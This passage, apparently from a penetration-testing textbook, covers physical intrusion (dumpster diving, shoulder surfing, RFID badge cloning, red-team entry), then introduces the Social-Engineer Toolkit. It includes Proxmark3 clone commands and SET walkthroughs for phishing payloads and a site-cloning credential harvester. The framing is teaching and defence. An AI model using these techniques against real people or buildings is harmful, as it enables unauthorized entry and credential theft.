&lt;p&gt;Kevin Mitnick specifically documented dumpster diving as one of his most productive intelligence gathering methods. In "The Art of Intrusion," he described how searching corporate trash produced internal phone directories, org charts, system configuration documentation, and even access credentials — all of which fed directly into subsequent social engineering and technical attack phases.&lt;/p&gt;

&lt;p&gt;Importantly, &lt;strong&gt;the legal status of dumpster diving is complicated&lt;/strong&gt;. In the United States, the Supreme Court ruled in &lt;em&gt;California v. Greenwood&lt;/em&gt; (1988) that there is no expectation of privacy in material left for garbage collection in public places. Many states, however, have more restrictive laws. Outside the United States, laws vary significantly by jurisdiction. Penetration testers conducting physical security assessments that include dumpster diving must ensure the activity is explicitly authorized in the Rules of Engagement and understand the applicable legal framework.&lt;/p&gt;

&lt;h4&gt;
  
  
  What Valuable Intelligence Is Found in Corporate Trash
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Organizational intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Internal phone directories and employee rosters — names, direct phone numbers, email addresses, and roles that enable targeted phishing and vishing&lt;/li&gt;
&lt;li&gt;Organizational charts — hierarchy information that enables authority-based pretexts and identifies high-value targets&lt;/li&gt;
&lt;li&gt;Visitor logs — names of people who had meetings, with whom they met, and on what dates — providing insight into vendor relationships and organizational activities&lt;/li&gt;
&lt;li&gt;Meeting agendas and minutes — project names, decision details, and participant names that enable highly credible pretexts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Technical intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Network diagrams and topology maps — internal IP addressing, network architecture, firewall placement&lt;/li&gt;
&lt;li&gt;System documentation — software versions, configuration details, patch levels&lt;/li&gt;
&lt;li&gt;Decommissioned hardware documentation — old server configurations that may still apply to production systems&lt;/li&gt;
&lt;li&gt;Printed email threads — internal communications that reveal processes, systems, and relationships&lt;/li&gt;
&lt;li&gt;Backup media (old tapes, CDs, USB drives) — potentially containing actual data rather than just documentation&lt;/li&gt;
&lt;li&gt;Old access control badges — providing RFID data if the organization has not changed its badge system&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Credential and authentication intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Printed password lists — users who wrote passwords down and then discarded the paper&lt;/li&gt;
&lt;li&gt;Post-it notes with passwords — famously common in both physical offices and recycling bins&lt;/li&gt;
&lt;li&gt;Account setup documentation — temporary passwords, initial credentials for new systems&lt;/li&gt;
&lt;li&gt;VPN configuration files — printed or handwritten&lt;/li&gt;
&lt;li&gt;Shared credential sheets for legacy systems&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Financial and legal intelligence:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Purchase orders and invoices — revealing vendor relationships, software licenses, and technology investments&lt;/li&gt;
&lt;li&gt;Contract documents — third-party relationships and service agreements&lt;/li&gt;
&lt;li&gt;Financial statements — for publicly traded companies, material non-public information has significant legal implications&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  Dumpster Diving in Authorized Assessments
&lt;/h4&gt;

&lt;p&gt;In a professional physical penetration test, dumpster diving is conducted methodically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-activity preparation:&lt;/strong&gt; Confirm authorization explicitly covers dumpster diving. Understand the legal framework for the jurisdiction. Wear gloves and appropriate protective clothing. Have clear engagement documentation available if challenged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Information gathering approach:&lt;/strong&gt; Photograph items that cannot be safely removed (to avoid taking original documents, which could create legal issues). Note the type, volume, and sensitivity of discovered materials. Prioritize items that reveal technical infrastructure (network diagrams, system documentation) and human intelligence (employee lists, contact information).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Documentation:&lt;/strong&gt; Photograph or scan discovered materials for the assessment report. The evidence is compelling: images of sensitive organizational documents found in an unsecured trash container are an unambiguous illustration of security failure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reporting:&lt;/strong&gt; Findings are reported as a physical security failure with specific examples of what was found and what an attacker could do with that information. Remediation recommendations center on shredding policies, secure document disposal procedures, and the physical security of disposal locations.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Defense: A Proper Document Destruction Program
&lt;/h4&gt;

&lt;p&gt;The defense against dumpster diving is not complex but requires consistent implementation:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cross-cut or micro-cut shredding for all sensitive documents&lt;/strong&gt; — strip shredding is insufficient as the resulting strips can be reassembled with patience and the right equipment. Cross-cut shredders produce small rectangular pieces; micro-cut shredders produce confetti-like particles that are effectively impossible to reassemble.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secure destruction of electronic media&lt;/strong&gt; — old hard drives, USB drives, backup tapes, and CDs must be physically destroyed (degaussed and then shredded, or incinerated) rather than simply deleted or reformatted. Data recovery from discarded storage media is a well-documented attack vector.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clear desk policy enforcement&lt;/strong&gt; — sensitive documents should not be left on desks at the end of the day, requiring active disposition choices for every document.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Secure, locked document destruction bins&lt;/strong&gt; — rather than open recycling containers, organizations should use locked, tamper-resistant bins for sensitive document collection, with a certified destruction service collecting and shredding the contents.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Employee training&lt;/strong&gt; — employees must understand that the classification level of a document does not change when they are finished with it. A confidential document that is thrown in the recycling bin is still confidential. Training should specifically address what types of documents require secure destruction.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.3.4 Shoulder Surfing — Observation as an Attack Vector
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What Shoulder Surfing Is
&lt;/h4&gt;

&lt;p&gt;Shoulder surfing is the practice of directly observing sensitive information by physically watching over someone's shoulder — or from any vantage point that allows observation of screens, keyboards, or documents. The name captures the physical mechanism: the attacker positions themselves where they can see what the target sees.&lt;/p&gt;

&lt;p&gt;Despite its apparently simple nature, shoulder surfing is a genuinely significant attack vector in professional environments, public spaces, and high-security facilities. The 2024 IBM Cost of a Data Breach study noted physical security incidents as a meaningful contributor to breach costs — and shoulder surfing represents one of the lower-technology, higher-return physical observation techniques.&lt;/p&gt;

&lt;p&gt;The attack requires no tools, no setup, and no prior relationship with the target. The only requirements are physical proximity and an unobstructed line of sight to sensitive information.&lt;/p&gt;

&lt;h4&gt;
  
  
  What Can Be Observed and How It Is Used
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Credentials during entry:&lt;/strong&gt; The most commonly discussed shoulder surfing target is the authentication process — watching someone enter a PIN, password, or access code. This might be at a building entry keypad, an ATM, a login screen, or a phone unlock screen.&lt;/p&gt;

&lt;p&gt;Passwords are surprisingly consistent across contexts — a person who uses "P@ssw0rd!" on their workstation login is likely to use similar or identical credentials on other systems. A shoulder-surfed workstation password that is then confirmed against VPN or email login can provide full organizational access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Sensitive document content:&lt;/strong&gt; Employees frequently work on sensitive documents in public spaces — planes, cafes, trains, hotel lobbies, conference center common areas. A colleague or competitor seated adjacent to them may observe contract terms, financial data, unreleased product specifications, M&amp;amp;A materials, or organizational strategy that would be considered highly confidential if formally disclosed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Screen content during video calls:&lt;/strong&gt; As remote and hybrid work has become standard, employees now routinely participate in video meetings from locations visible to others — cafes, co-working spaces, public transport. The video call content — which may include internal system interfaces, confidential documents shared on screen, and internal organizational discussions — is potentially observable by anyone with line of sight to the screen.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Codes and access credentials on devices:&lt;/strong&gt; One-time passwords from authenticator apps, VPN codes displayed on screen, temporary access links — all are observable during the brief window they are displayed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Physical access card use:&lt;/strong&gt; Watching the physical process of badge authentication provides information about the badge technology in use, the location of badge readers, and the access control patterns of specific individuals — all useful for subsequent badge cloning or physical penetration attacks.&lt;/p&gt;

&lt;h4&gt;
  
  
  Shoulder Surfing in Practice — The Attacker's Approach
&lt;/h4&gt;

&lt;p&gt;Professional social engineers and physical penetration testers approach shoulder surfing methodically:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Environmental reconnaissance first:&lt;/strong&gt; Identify the target's habitual locations for sensitive work — their usual desk configuration, their preferred coffee shop, their typical conference room. Identify camera placement and coverage gaps. Map the physical space to identify optimal observation positions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cover story and props:&lt;/strong&gt; The observer needs a reason to be in the same space without appearing to watch. A laptop open to work, a book, a coffee, and business-casual attire creates the appearance of a co-worker or business traveler. The cover must be maintained naturally — extended, obvious observation breaks the social camouflage.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Optical aids:&lt;/strong&gt; For distance observation, small binoculars, a camera with a telephoto lens, or even a smartphone camera can extend the effective observation range well beyond normal conversation distance. A person apparently photographing the cityscape from a co-working space window may actually be recording the contents of screens throughout the space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Duration:&lt;/strong&gt; A single observation session often produces sufficient intelligence. High-value sessions — where sensitive materials are being actively worked on — may provide immediate actionable intelligence from a single viewing.&lt;/p&gt;

&lt;h4&gt;
  
  
  Technical and Physical Countermeasures
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Privacy screens / screen filters:&lt;/strong&gt; The most effective single countermeasure is a privacy filter applied to monitors and laptops. These filters use micro-louver technology to restrict the viewing angle to approximately 60 degrees (30 degrees on each side of center), making the screen appear black to anyone not seated directly in front of it. They are inexpensive, do not impede the primary user's visibility, and are available for virtually every screen size and form factor.&lt;/p&gt;

&lt;p&gt;For particularly sensitive work in public environments, privacy screens should be treated as mandatory rather than optional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Physical positioning awareness:&lt;/strong&gt; Training employees to consider their physical positioning when working on sensitive materials. Sitting with their back to a wall rather than to an open space. Facing outward rather than toward a window from which observation is possible. Choosing tables or booths that minimize adjacent observers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Clean screen habits:&lt;/strong&gt; Locking the screen when stepping away, even for a moment. Minimizing sensitive windows when others are nearby. Reducing font sizes to make screen content harder to read from a distance.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PIN/password entry shielding:&lt;/strong&gt; Training users to physically shield keypads and screens during PIN/password entry — the same behavior that credit card users are taught for ATM use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Context-appropriate work locations:&lt;/strong&gt; Organizational policy that prohibits working on classified or highly sensitive material in public locations without specific controls in place.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.3.5 Badge Cloning — Defeating Electronic Access Control
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Access Control Technology Landscape
&lt;/h4&gt;

&lt;p&gt;Modern physical access control systems use electronic badges — most commonly based on radio-frequency identification (RFID) or Near Field Communication (NFC) technology — to authenticate individuals to secured areas. The badge communicates wirelessly with readers at each access point; if the badge is authorized for that area, the door unlocks.&lt;/p&gt;

&lt;p&gt;Understanding badge technology is essential for both executing badge cloning in authorized assessments and understanding the defensive posture of access control systems.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;EM4100/125kHz technology (Legacy):&lt;/strong&gt; The oldest and most vulnerable RFID technology still in widespread use. These badges transmit a fixed, unencrypted 64-bit serial number when powered by the reader's RF field. The number is simply transmitted — no challenge-response authentication, no encryption, no cryptographic protection whatsoever. Any device capable of reading 125kHz RFID signals can capture this number, and any device capable of emulating 125kHz signals can replay it.&lt;/p&gt;

&lt;p&gt;These legacy cards are found in billions of installations worldwide — particularly in older buildings, parking structures, and organizations that have not updated their access control infrastructure since the 1990s and 2000s. Their continued prevalence despite their complete lack of security is one of the most significant known physical security failures in the industry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HID Prox Cards (125kHz):&lt;/strong&gt; The most common corporate access control card in the United States. Manufactured by HID Global, these cards operate at 125kHz and, in their standard configuration, transmit an unencrypted facility code and card number. They are functionally equivalent to EM4100 cards from a security perspective — the data is readable and replayable by any appropriate device. More sophisticated HID implementations use iCLASS technology (13.56MHz with encryption), but many organizations use Prox cards for cost reasons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MIFARE Classic (13.56MHz):&lt;/strong&gt; A widely deployed 13.56MHz card with encryption, but a specific implementation of encryption that has been cryptanalytically broken. Multiple academic papers published since 2008 have demonstrated that MIFARE Classic cards can be cloned despite their encryption. They are significantly more secure than 125kHz cards but should not be considered a strong security control for high-security environments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;MIFARE DESFire EV2/EV3 (13.56MHz):&lt;/strong&gt; Currently considered a strong access control technology. Uses AES-128 encryption with proper mutual authentication between card and reader. Significantly harder to clone than previous generations. This is the technology recommended for new installations and for security-critical environments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mobile credentials (NFC on smartphones):&lt;/strong&gt; An emerging access control approach using NFC-enabled smartphones as credentials. Security varies by implementation — some use the same underlying protocols as MIFARE DESFire (strong), others use Bluetooth-based systems with varying security characteristics.&lt;/p&gt;

&lt;h4&gt;
  
  
  How Badge Cloning Works
&lt;/h4&gt;

&lt;p&gt;Badge cloning is the process of reading the data stored on an authorized badge and writing that data to a blank, writable card, creating a functional duplicate that the access control system cannot distinguish from the original.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The reading phase:&lt;/strong&gt; The attacker must come within the reading range of the target badge. For 125kHz cards, the typical reading range with consumer-grade equipment is a few centimeters — requiring close physical proximity. With purpose-built long-range readers (some capable of reading badges at distances of 30cm to over 1 meter), the badge can be read through a bag, pocket, or jacket without the target's awareness.&lt;/p&gt;

&lt;p&gt;The attacker might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Stand behind a target in a queue, concealing the reader in a bag or laptop case&lt;/li&gt;
&lt;li&gt;Position a concealed reader at a point where badges are predictably presented (near a card reader location)&lt;/li&gt;
&lt;li&gt;Sit adjacent to a target in a meeting, allowing extended close proximity&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The writing phase:&lt;/strong&gt; The captured card data is written to a writable blank card using the appropriate writer hardware. This is straightforward for 125kHz cards — the fixed serial number is simply replicated. For encrypted cards, the writing phase may require additional steps including cryptographic key recovery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The use phase:&lt;/strong&gt; The cloned card is presented to access readers. For 125kHz cards in basic installations, the system simply validates the facility code and card number — which match the original card — and grants access. Systems without anti-passback controls (which would flag two uses of the same card number within a short timeframe) cannot detect the duplication.&lt;/p&gt;

&lt;h4&gt;
  
  
  Equipment for Authorized Badge Cloning Assessment
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;Primary tools for authorized physical security assessments:

Proxmark3 (most versatile professional tool):
- Supports 125kHz LF (HID Prox, EM4100) and 13.56MHz HF (MIFARE, DESFire)
- Can read, analyze, and clone many card types
- Active community developing new attack modules
&lt;/span&gt;&lt;span class="gp"&gt;- Cost: $&lt;/span&gt;200-500 USD
&lt;span class="go"&gt;- Open-source firmware: https://github.com/RfidResearchGroup/proxmark3

Commands (authorized assessment examples):
&lt;/span&gt;&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lf search            &lt;span class="c"&gt;# Search for 125kHz signal&lt;/span&gt;
&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lf hid &lt;span class="nb"&gt;read&lt;/span&gt;          &lt;span class="c"&gt;# Read HID Prox card&lt;/span&gt;
&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;lf hid clone &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;ID] &lt;span class="c"&gt;# Clone to T5577 writable card&lt;/span&gt;
&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hf search            &lt;span class="c"&gt;# Search for 13.56MHz signal&lt;/span&gt;
&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hf mf info           &lt;span class="c"&gt;# Get MIFARE card information&lt;/span&gt;
&lt;span class="gp"&gt;proxmark3&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hf mfdes info        &lt;span class="c"&gt;# Get DESFire card information&lt;/span&gt;
&lt;span class="go"&gt;
FlipperZero (consumer-grade multi-protocol device):
- Supports 125kHz LF and 13.56MHz NFC
- Can read and emulate many 125kHz cards
- User-friendly interface
&lt;/span&gt;&lt;span class="gp"&gt;- Cost: ~$&lt;/span&gt;170 USD
&lt;span class="go"&gt;- Note: Legally restricted in some jurisdictions for certain functions

RFID Thief (purpose-built covert reader):
- Designed for covert badge reading in close proximity
- Slim profile allows concealment in everyday items
- Long-range variants (30cm+) available for more distant reading
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  The Implications of Badge Cloning for Physical Security Assessment
&lt;/h4&gt;

&lt;p&gt;When a physical penetration tester demonstrates badge cloning in an authorized assessment, the finding is almost always a critical or high severity:&lt;/p&gt;

&lt;p&gt;A cloned badge provides physical access to every area the original badge accesses. If the cloned credential belongs to an IT administrator whose badge opens server rooms, data centers, and executive areas, the attacker gains unrestricted physical access to the organization's most sensitive physical spaces.&lt;/p&gt;

&lt;p&gt;Physical access enables a cascade of subsequent attacks: network implant placement, hardware keylogger installation, USB attack device placement, server room access for direct console connection, and documentation and asset theft.&lt;/p&gt;

&lt;p&gt;The defense requires technology upgrade and procedural change:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technology upgrade to encrypted credentials (MIFARE DESFire or mobile credentials)&lt;/strong&gt; eliminates the technical vulnerability of legacy card cloning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-passback controls&lt;/strong&gt; flag when the same credential is used twice within a timeframe that would be impossible for a single physical user (e.g., entering through the same door twice without exiting). This provides some protection against cloned credential use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multi-factor physical access (badge + PIN, badge + biometric)&lt;/strong&gt; prevents cloned badge attacks entirely, as the attacker would also need the PIN or biometric factor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Regular access audit logs&lt;/strong&gt; help detect anomalous access patterns that might indicate credential cloning — the same badge number used in two physical locations simultaneously, or access at unusual times.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.3.6 Physical Attack Methodology — The Complete Red Team Approach
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Physical Penetration Test Lifecycle
&lt;/h4&gt;

&lt;p&gt;A professional physical security assessment is not simply "try to get in the building." It is a structured engagement that mirrors the full penetration testing methodology applied to physical space.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 1 — External reconnaissance:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Before approaching the building, extensive external observation is conducted. The assessor photographs all entry and exit points, identifies guard positions and patrol patterns, notes camera placements and their coverage angles, identifies delivery entrances and service access points, watches employee patterns (when do most employees arrive? When do deliveries occur?), and identifies any physical security blind spots.&lt;/p&gt;

&lt;p&gt;This reconnaissance is typically conducted without authorization requirements (observing a building's exterior from public property is not a crime) but should be done inconspicuously to avoid alerting security before the authorized assessment begins.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 2 — Pretext and persona preparation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Based on reconnaissance, the assessor determines the most viable approach. Common physical penetration test personas include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;IT vendor technician ("I'm here to check the network equipment in Server Room 2")&lt;/li&gt;
&lt;li&gt;Building maintenance contractor ("I have a work order for HVAC maintenance")&lt;/li&gt;
&lt;li&gt;New employee still getting their access ("I just started last week and I'm still waiting for my badge")&lt;/li&gt;
&lt;li&gt;Delivery driver with a package requiring signature&lt;/li&gt;
&lt;li&gt;Fire safety inspector or compliance auditor&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each persona requires appropriate props: appropriate attire, realistic tools or documentation, a convincing cover story, and sufficient knowledge of the role to handle questions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 3 — Physical social engineering and entry:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The assessor approaches the building using the chosen persona and technique. They may attempt multiple entry vectors: the main lobby, a side entrance, a delivery dock, a car park with internal access. Each vector tests a different aspect of the physical security posture.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 4 — Internal operations and objectives:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Once inside, the assessor attempts to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Access secured internal areas (server rooms, data center, executive floors)&lt;/li&gt;
&lt;li&gt;Plant network implant devices (authorized implants that provide evidence of successful access and may provide actual internal network access for subsequent technical testing)&lt;/li&gt;
&lt;li&gt;Access workstations or find unlocked screens with sensitive data&lt;/li&gt;
&lt;li&gt;Photograph sensitive documents, whiteboards, or systems&lt;/li&gt;
&lt;li&gt;Retrieve discarded sensitive documents&lt;/li&gt;
&lt;li&gt;Test specific physical security controls (do server room doors lock properly? Are sensitive areas cameras monitored? Do employees challenge unfamiliar people?)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Phase 5 — Exit and documentation:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The assessor exits cleanly, documents all findings, and compiles evidence (photographs, video if authorized, documented access obtained, devices planted and locations).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phase 6 — Reporting:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The report details each physical security failure with specific evidence, the attack path that was possible as a result of the failure, and specific remediation recommendations. Photographs of sensitive materials found unsecured, images of unlocked server room doors, and documentation of successful tailgating into secure areas constitute compelling evidence for security investment decisions.&lt;/p&gt;




&lt;h2&gt;
  
  
  4.4 Social Engineering Tools
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.4.1 Overview — The Professional Social Engineering Toolkit
&lt;/h3&gt;

&lt;p&gt;The difference between a random attacker and a professional social engineering practitioner is not primarily knowledge — it is tooling. Professional tools allow social engineering attacks to be executed at scale, with tracking and metrics, with professional-grade infrastructure, and with the repeatability required for a meaningful security assessment.&lt;/p&gt;

&lt;p&gt;This section covers the tools that professional penetration testers use for authorized social engineering campaigns. Every tool here has legitimate, authorized use cases in security testing — and every tool here can cause significant harm if used without authorization. The ethical and legal framework established in the Rules of Engagement document governs every use.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.4.2 Social-Engineer Toolkit (SET)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; David Kennedy (TrustedSec)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/trustedsec/social-engineer-toolkit" rel="noopener noreferrer"&gt;https://github.com/trustedsec/social-engineer-toolkit&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Written in:&lt;/strong&gt; Python&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; Linux (included in Kali Linux by default)&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Documentation:&lt;/strong&gt; &lt;a href="https://github.com/trustedsec/social-engineer-toolkit/wiki" rel="noopener noreferrer"&gt;https://github.com/trustedsec/social-engineer-toolkit/wiki&lt;/a&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;License:&lt;/strong&gt; Apache 2.0&lt;/p&gt;

&lt;p&gt;The Social-Engineer Toolkit — universally known as SET — is the most comprehensive open-source social engineering platform in existence. Created by David Kennedy, a renowned security researcher and consultant, SET was specifically designed to automate and standardize social engineering attack vectors for authorized penetration testing. It integrates directly with the Metasploit Framework, enabling social engineering attacks that deliver technical payloads.&lt;/p&gt;

&lt;p&gt;SET's significance in the field is hard to overstate. It is pre-installed on Kali Linux, referenced in CompTIA PenTest+, CEH, and OSCP certification curricula, and used in red team engagements globally. David Kennedy designed it to encode real-world social engineering attack patterns in a reusable, professional framework — the same philosophy that Metasploit applies to technical exploitation.&lt;/p&gt;
&lt;h4&gt;
  
  
  SET's Architecture and Attack Categories
&lt;/h4&gt;

&lt;p&gt;SET organizes its attack capabilities into seven primary attack vector categories:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Spear-Phishing Attack Vectors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The spear-phishing module allows attackers to craft targeted phishing emails with malicious attachments. It integrates with Metasploit to generate payloads — malicious Office documents, PDFs, or executables — that establish reverse shells or Meterpreter sessions when opened.&lt;/p&gt;

&lt;p&gt;SET can automatically generate payloads using Metasploit's &lt;code&gt;msfvenom&lt;/code&gt; tool, embed them in document templates, and manage the listener for incoming connections. The workflow:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Launch SET&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;setoolkit

&lt;span class="c"&gt;# Main Menu Navigation:&lt;/span&gt;
&lt;span class="c"&gt;# 1) Social-Engineering Attacks&lt;/span&gt;
&lt;span class="c"&gt;# 2) Penetration Testing (Fast-Track)&lt;/span&gt;
&lt;span class="c"&gt;# 3) Third Party Modules&lt;/span&gt;
&lt;span class="c"&gt;# 4) Update the Social-Engineer Toolkit&lt;/span&gt;
&lt;span class="c"&gt;# 5) Update SET configuration&lt;/span&gt;
&lt;span class="c"&gt;# 6) Help, Credits, and About&lt;/span&gt;
&lt;span class="c"&gt;# 99) Exit the Social-Engineer Toolkit&lt;/span&gt;

&lt;span class="c"&gt;# For spear phishing:&lt;/span&gt;
&lt;span class="c"&gt;# 1 (Social-Engineering Attacks) →&lt;/span&gt;
&lt;span class="c"&gt;# 1 (Spear-Phishing Attack Vectors) →&lt;/span&gt;
&lt;span class="c"&gt;# 1 (Perform a Mass Email Attack)&lt;/span&gt;
&lt;span class="c"&gt;# SET then guides through: payload type, email service, target list, sending&lt;/span&gt;

&lt;span class="c"&gt;# Payload options include:&lt;/span&gt;
&lt;span class="c"&gt;# 1. SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)&lt;/span&gt;
&lt;span class="c"&gt;# 2. SET Custom Written Document UNC LM SMB Capture Attack&lt;/span&gt;
&lt;span class="c"&gt;# 3. MS15-100 Microsoft Windows Media Center MCL Vulnerability&lt;/span&gt;
&lt;span class="c"&gt;# 4. MS14-017 Microsoft Word RTF Object Confusion (2014-01-17)&lt;/span&gt;
&lt;span class="c"&gt;# 5. Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow&lt;/span&gt;
&lt;span class="c"&gt;# ...and many more Metasploit-integrated exploits&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;2. Website Attack Vectors&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The website attack module has several sub-options:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Java Applet Attack (legacy):&lt;/strong&gt; A now-largely-obsolete attack that used malicious Java applets to deliver payloads when a user visited a controlled website. Modern browsers have disabled Java applets by default, making this largely non-functional, but it demonstrates SET's evolution with the threat landscape.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Metasploit Browser Exploit (Iframe/JavaScript injection):&lt;/strong&gt; Hosts a page containing browser exploits that execute when the target visits. The target is directed to the malicious URL through phishing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credential Harvester:&lt;/strong&gt; One of SET's most used features. It clones a legitimate website (Google, Office 365, LinkedIn, a company's own login portal) and hosts it locally or on a configured server. When the target visits the cloned page and enters credentials, SET captures them and (optionally) redirects the user to the real site so they notice nothing unusual.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Credential Harvester workflow in SET:&lt;/span&gt;
&lt;span class="c"&gt;# 1 (Social-Engineering Attacks) →&lt;/span&gt;
&lt;span class="c"&gt;# 2 (Website Attack Vectors) →&lt;/span&gt;
&lt;span class="c"&gt;# 3 (Credential Harvester Attack Method) →&lt;/span&gt;
&lt;span class="c"&gt;# 2 (Site Cloner)&lt;/span&gt;
&lt;span class="c"&gt;# Enter URL to clone: https://mail.targetco.com&lt;/span&gt;
&lt;span class="c"&gt;# SET clones the page, sets up a listener&lt;/span&gt;
&lt;span class="c"&gt;# Captured credentials appear in real time in the SET interface&lt;/span&gt;
&lt;span class="c"&gt;# All captures are logged to /root/.set/reports/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tabnabbing Attack:&lt;/strong&gt; A particularly clever phishing technique. SET hosts a page that initially appears innocuous. When the user switches to a different browser tab, JavaScript on the page detects the tab switch and replaces the page content with a convincing fake login page. When the user returns to the tab, they see what appears to be a timed-out session requiring re-login. SET captures credentials entered in this fake session.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Infectious Media Generator&lt;/strong&gt;&lt;/p&gt;

